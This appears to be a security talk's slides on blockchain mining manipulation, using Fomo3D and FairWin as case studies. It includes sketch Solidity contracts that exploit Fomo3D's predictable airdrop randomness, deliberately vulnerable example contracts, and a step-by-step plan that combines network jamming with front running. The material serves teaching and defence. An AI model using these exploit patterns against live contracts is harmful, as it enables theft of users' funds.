

# Reflections on Blockchain Security

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## Mining Manipulation

Influencing the order or timeliness of transaction mining

### Case Studies:

- Fomo3D (Network Jamming)
- FairWin (Front Running)

# Penny Auctions



Recently sold for **\$13.74, \$3.41, ...**



**Share now and earn FREE bids!**

Get 20 and earn up to 2000 bids



**\$1.96** USD

**00:00:09**



Britt2415

**Bid Now**

Value Price: \$599.99

Bids Credit: -\$0.00

0 Real / 0 Voucher

Buy Now Price \$599.99

**Buy Now**

**\$599.99**

## Bidding History

Britt2415	72	\$1.96	B-71
Gretched50	9	\$1.95	S
Britt2415	71	\$1.94	B-70
Mindyfb	36	\$1.93	S
Britt2415	70	\$1.92	B-69
Gretched50	8	\$1.91	S
Britt2415	69	\$1.90	B-68
Mindyfb	35	\$1.89	S
Britt2415	68	\$1.88	B-67

5 Recent Bidders

## Bid-O-Matic

Bid From # Bids

\$ 1.96


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**Activate**

[Learn more about Bid-O-Matic](#)

# Fomo 3D

1. The last investor takes the jackpot
2. Investments extend the timer



## **Fomo 3D:**

A ponzi scheme, smart contract resembling a penny auction

<https://etherscan.io/address/0xa62142888aba8370742be823c1782d17a0389da1>

# Fomo 3D

- Deployed on July 6, 2018
- Over 17,000 ETH by July 21, 2018 (\$5.1 million @ \$300 per ETH)

*One possible outcome [...] is the game will attract a huge amount Ethers, and can do it again and again. [...] Ultimately, it will drain all liquidity of Ether and let the winner takes all. Then Ethererum's network value will be largely destroyed. [...]*

[toliuyi, Ethresear.ch forum](#)

# Fomo 3D

- Deployed on July 6, 2018
- Over 17,000 ETH by July 21, 2018 (\$5.1 million @ \$300 per ETH)

*Miner pool collusion much more likely.*

**Random Airdrops**

# Fomo 3D - Random Airdrops

```
contract Fomo3D {  
  
    uint256 pot;  
    uint256 jackpot;  
  
    function invest() payable {  
        if (msg.value >= 0.1 Ether  
            && airdrop()) {  
            uint256 reward = pot.mul(75) / 100;  
            msg.sender.send(reward);  
        }  
  
        // add a bit to the pot  
        // add the rest to jackpot  
        // extend the timer  
    }  
  
}
```

*\*\* A simplified interpretation of an excerpt from Fomo3D*



# Fomo 3D - Random Airdrops

```
1408 /-
1409  * @dev generates a random number between 0-99 and checks to see if thats
1410  * resulted in an airdrop win
1411  * @return do we have a winner?
1412  */
1413 function airdrop()
1414     private
1415     view
1416     returns(bool)
1417 {
1418     uint256 seed = uint256(keccak256(abi.encodePacked(
1419
1420         (block.timestamp).add
1421         (block.difficulty).add
1422         ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
1423         (block.gaslimit).add
1424         ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
1425         (block.number)
1426
1427     )))
1428     if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
1429         return(true);
1430     else
1431         return(false);
1432 }
```

*\*\* An excerpt from Fomo3D*

## **There is no randomness on Ethereum!**

All miners need to deterministically arrive to the same interpretation of the smart contract code.

# Fomo 3D - Random Airdrops Exploit

```
contract Exploit {  
  
    function airdrop() { ... define exactly as in fomo3d ... }  
  
    function exploit(address fomo3d) {  
        if (this.airdrop()) {  
            uint256 reward = fomo3d.pot().mul(75) / 100;  
            if (reward > 0.1 Ether) {  
                fomo3d.invest.value(0.1 Ether)();  
            }  
        }  
    }  
  
    // ...  
    // more functions to make the whole thing useful  
  
}
```

# Fomo 3D - Random Airdrops

We can do even better...

# Fomo 3D - Advanced Random Airdrops Exploit

```
1400 /...
1409 * @dev generates a random number between 0-99 and checks to see if thats
1410 * resulted in an airdrop win
1411 * @return do we have a winner?
1412 */
1413 function airdrop()
1414     private
1415     view
1416     returns(bool)
1417 {
1418     uint256 seed = uint256(keccak256(abi.encodePacked(
1419
1420         (block.timestamp).add
1421         (block.difficulty).add
1422         ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
1423         (block.gaslimit).add
1424         ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
1425         (block.number)
1426
1427     )))
1428     if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
1429         return(true);
1430     else
1431         return(false);
1432 }
```

# Fomo 3D - Random Airdrops Exploit

```
contract Exploiter { ... put the calling logic here ... }

contract JustDrain {

    function (address exploiter) { ... define exactly as in fomo3d ... }

    function exploit(address fomo3d) {
        Exploiter exploiter = new Exploiter();
        while (!this.airdrop(exploiter)) {
            exploiter = new Exploiter();
        }
        exploiter.callFomo3D();
    }


    // ...
    // more functions to make the whole thing useful

}
```

# Fomo 3D - Random Airdrops

How to fix this?


# Commit and Reveal



1. User commits to an action in block  $n$
2. The action will be resolved  $(n+k)$  blocks later



# Commit and Reveal



1. User commits to an action in block  $n$
2. The action will be resolved  $(n+k)$  blocks later

The level of security is equivalent to the level of trust that the user does not have sufficient hashpower and incentive to mine  $k$  blocks ahead.

# Naive Vulnerable Implementation

```
1 pragma solidity 0.4.25;
2
3 contract EvenGame {
4
5     address public player1;
6     address public player2;
7
8     /*
9     * Allows the players enter the game if they transfer 1 ether
10    */
11    function enter() public payable {
12        require(msg.value == 1 ether);
13        if (player1 == 0x0) {
14            player1 = msg.sender;
15        } else if (player2 == 0x0) {
16            player2 = msg.sender;
17        } else {
18            revert();
19        }
20    }
```

```
21
22    /*
23    * Rewards player1 if the bloc hash is even, otherwise rewards
24    * player2. Then starts a new game.
25    */
26    function rewardWinner() public {
27        require(msg.sender == player1);
28        require(player1 != 0x0);
29        require(player2 != 0x0);
30
31        uint256 winner = uint256(blockhash(block.number)) % 2;
32        if (winner == 0) {
33            // player1 won
34            player1.transfer(address(this).balance);
35        } else {
36            player2.transfer(address(this).balance);
37        }
38
39        player1 = 0x0;
40        player2 = 0x0;
41    }
42 }
43
```

# Commit and Reveal Example

```
1 pragma solidity 0.4.25;
2
3 contract EvenGame {
4
5     address public player1;
6     address public player2;
7     uint256 public frozenAt;
8
9     /*
10    * Allows the players enter the game if they transfer 1 ether
11    */
12    function enter() public payable {
13        require(msg.value == 1 ether);
14        if (player1 == 0x0) {
15            player1 = msg.sender;
16        } else if (player2 == 0x0) {
17            player2 = msg.sender;
18        } else {
19            revert();
20        }
21    }
22
23    /*
24    * Freezes the game and records the commitment of player1 to resolve
25    * the game 25 blocks later.
26    */
27    function freezeState() public {
28        require(msg.sender == player1);
29        require(player1 != 0x0);
30        require(player2 != 0x0);
31        frozenAt = block.number;
32    }
33
```

```
34    /*
35    * Rewards player1 if the bloc hash is even, otherwise rewards
36    * player2. Then starts a new game.
37    */
38    function rewardWinner() public {
39        // this can now be open to both the players
40        // require(msg.sender == player1);
41        require(player1 != 0x0);
42        require(player2 != 0x0);
43        require(frozenAt != 0);
44        require(block.number - 25 > frozenAt);
45
46        blockNumber = frozenAt + 25;
47        uint256 winner = uint256(blockhash(blockNumber)) % 2;
48        if (winner == 0) {
49            // player1 won
50            player1.transfer(address(this).balance);
51        } else {
52            player2.transfer(address(this).balance);
53        }
54        player1 = 0x0;
55        player2 = 0x0;
56        frozenAt = 0;
57    }
58 }
59
```


## **Fomo 3D: End of Game**

# Fomo 3D - Network Jamming

The first round of Fomo3D finished on August 22, 2018.

The winner collected 10,469 ETH (~\$3.3 million @ \$300 per Ether).

# Fomo 3D - Network Jamming



<https://howmuch.net/articles/biggest-crypto-hacks-scam>

# Fomo 3D - Regular Ethereum Block

Block #8649329

**Feature Tip:** Add private address tag to any address under My Name Tag !

**Overview**   Comments

Block Height:	<b>8649329</b> < >
Timestamp:	⌚ 2 days 4 hrs ago (Sep-30-2019 09:42:05 AM +UTC)
Transactions:	<b>179 transactions</b> and <b>13 contract internal transactions</b> in this block
Mined by:	<a href="#">0xb2930b35844a230f00e51431acae96fe543a0347</a> ( <b>MiningPoolHub</b> ) in 8 secs
Block Reward:	2.189508591043377408 Ether (2 + 0.189508591043377408)
Uncles Reward:	0
Difficulty:	2,425,207,239,678,899
Total Difficulty:	12,155,878,180,680,446,226,248
Size:	37,626 bytes

# Fomo 3D - Network Jamming

- Block 6191896:  
A user purchased a Fomo3D investment key.
- Block 6191898 - 6191906:  
Ethereum started showing abnormal number of transactions.



# Fomo 3D - Jammed Block

Block #6191900

**Feature Tip:** Track historical data points of any address with the [analytics module](#) !

[Overview](#) [Comments](#)

Block Height:	<b>6191900</b> < >
Timestamp:	406 days 7 hrs ago (Aug-22-2018 06:49:07 AM +UTC)
Transactions:	<b>10 transactions</b> and 0 contract internal transaction in this block
Mined by:	<a href="#">0x52bc44d5378309ee2abf1539bf71de1b7d7be3b5</a> ( <b>Nanopool</b> ) in 9 secs
Block Reward:	3.182510893 Ether (3 + 0.182510893)
Uncles Reward:	0
Difficulty:	3,598,226,584,287,615
Total Difficulty:	6,157,835,701,988,303,174,335
Size:	2,183 bytes
Gas Used:	7,979,192 (99.84%)
Gas Limit:	7,992,259

# Fomo 3D - Jammed Block

Block #6191904

Feature Tip: [Etherscan Dapp Page](#) - A front-end interface for any smart contract on Ethereum !

[Overview](#) [Comments](#)

Block Height:	<b>6191904</b> < >
Timestamp:	406 days 7 hrs ago (Aug-22-2018 06:49:57 AM +UTC)
Transactions:	<a href="#">3 transactions</a> and 0 contract internal transaction in this block
Mined by:	<a href="#">0x52bc44d5378309ee2abf1539bf71de1b7d7be3b5</a> (Nanopool) in 24 secs
Block Reward:	4.52003072 Ether (3 + 1.52003072)
Uncles Reward:	0
Difficulty:	3,598,227,873,362,778
Total Difficulty:	6,157,850,098,413,044,298,436
Size:	1,151 bytes
Gas Used:	8,000,000 (100.00%)
Gas Limit:	8,000,029

# Fomo 3D - Jammed Block

## Transactions

For Block [6191904](#)

**Feature Tip:** [Etherscan Dapp Page](#) - A front-end interface for any smart contract on Ethereum !

A total of 3 transactions found

Txn Hash	Block	Age	From	To	Value	[Txn Fee]
 <a href="#">0x79ac4916f2bf539...</a>	<a href="#">6191904</a>	406 days 7 hrs ago	<a href="#">0xf6e89c15731d611...</a>	  <a href="#">0x18e1b664c6a2e8...</a>	0 Ether	0.03800004
 <a href="#">0x8dbed1b86e4158...</a>	<a href="#">6191904</a>	406 days 7 hrs ago	<a href="#">0x87c7babe2a9bf8...</a>	  <a href="#">0x18e1b664c6a2e8...</a>	0 Ether	0.68401299
 <a href="#">0x7d1be65c8e3ac9...</a>	<a href="#">6191904</a>	406 days 7 hrs ago	<a href="#">0xf033ad4b1d6368...</a>	  <a href="#">0x18e1b664c6a2e8...</a>	0 Ether	0.79801768


# Fomo 3D - Network Jamming

- Block 6191896: A user purchased a Fomo3D investment key.
- Block 6191898 - 6191906: Ethereum started showing abnormal number of transactions.
- This time was sufficient for the limit for the next key purchase to lapse.


Transactions	Internal Txns	Erc20 Token Txns	Analytics	Comments	
Latest 3 internal transactions					
Internal Transactions as a result of Contract Execution					
Parent Txn Hash	Block	Age	From	To	Value
<a href="#">0x4a2121093056b9...</a>	<a href="#">6405762</a>	370 days 15 hrs ago	<a href="#">Fomo3D: Long</a>	<a href="#">0xa169df5ed3363cf...</a>	0.167370096811965906 Ether
<a href="#">0x4027f6dbf53a06c...</a>	<a href="#">6201015</a>	404 days 18 hrs ago	<a href="#">0x5d0d76787d9d56...</a>	<a href="#">0xa169df5ed3363cf...</a>	279.39878960982885263 Ether
<a href="#">0xe08a519c03cb0a...</a>	<a href="#">6191962</a>	406 days 8 hrs ago	<a href="#">Fomo3D: Long</a>	<a href="#">0xa169df5ed3363cf...</a>	10,469.660003123933104565 Ether

How can such a thing happen?


# How Did This Work: Transaction Mining



# How Did This Work: Transaction Mining




# How Did This Work: Transaction Mining






# How Did This Work: Transaction Mining




# How Did This Work: Transaction Mining



## Final Remarks

- Someone is playing again: Fomo3D holds ~1,253.00 Ether
- User interface ([www.exitscam.me](http://www.exitscam.me)) does not seem to be active

# Fomo 3D - Final Remarks




An implementation of the world's first self-decentralizing artificial intelligence that reaches beyond the boundaries of its own software in order to sustain itself.



## FairWin

# FairWin


**FairWin:** A ponzi scheme deployed on July 27, 2019. On September 26, it held ~49,518 ETH. Vulnerabilities were found and reported in September 2019. The contract is currently empty.



Equitable dividend-sharing game with  
payment in ethernic currency

Provable fairness The dividend-sharing game is simple Open  
Source Contracts Provide Support

All Wagers

 **703610ETH**

58914bets

Throughout late September 2019, the community found disclosed two vulnerabilities:

1. **Centralization of Power** allowing the owner of the contract to drain all the invested funds
2. **Front running** vulnerability allowing anyone to compete for another person's investments


# Front Running

**Front Running:** An attempt to get one transaction to be mined before another.



# Front Running

**Front Running:** An attempt to get one transaction to be mined before another. This is often done through offering excessive gas prices.




# FairWin

```
contract FairWin {  
  
    mapping (string => address) investors;  
    mapping (string => uint256) investments;  
  
    function invest(string inviteCode, ...) payable {  
        if (investors[inviteCode] == 0x0) investors[inviteCode] = address;  
        investments[inviteCode] = investments[inviteCode].add(msg.value);  
  
        //... other logic  
    }  
  
    function exit(string inviteCode) {  
        require(investors[inviteCode] == msg.sender);  
        investors[inviteCode].send(investments[inviteCode]);  
    }  
  
}
```

**\*\* An illustration of a vulnerability similar to FairWin**

# Mempool Problem

**Front Running:** An attempt to get one transaction to be mined before another. This is often done through offering excessive gas prices.



# Mempool Problem

One more example...

# Escrow Example

```
contract Escrow {
  mapping (bytes32 => uint256) deposits;
  mapping (bytes32 => bool) invalid;

  function deposit(bytes32 secret) payable {
    require(!invalid[secret]);
    deposits[secret] = deposits[secret].add(msg.value);
  }

  function withdraw(string password) {
    bytes32 secret = keccak256(password);
    uint256 value = deposits[secret];

    require(value > 0);
    deposits[secret] = 0;
    invalid[secret] = true;
    msg.sender.send(value);
  }
}
```

Can we combine the two techniques?

# Effective Front Running

## 1. Front Running

- a. Read the mempool
- b. Submit competing transactions with higher gas price

## 2. Jam the network

- a. Submit transactions exhausting block gas limit
- b. Nobody's transactions will be mined

## 3. Jam the network + Front Running

- a. Submit transactions exhausting block gas limit
- b. Nobody's transactions will be mined, but they **will be present in mempool**
- c. Read the mempool
- d. Submit competing transactions with higher gas price
- e. Unblock the network

# Thank you!

## Questions?



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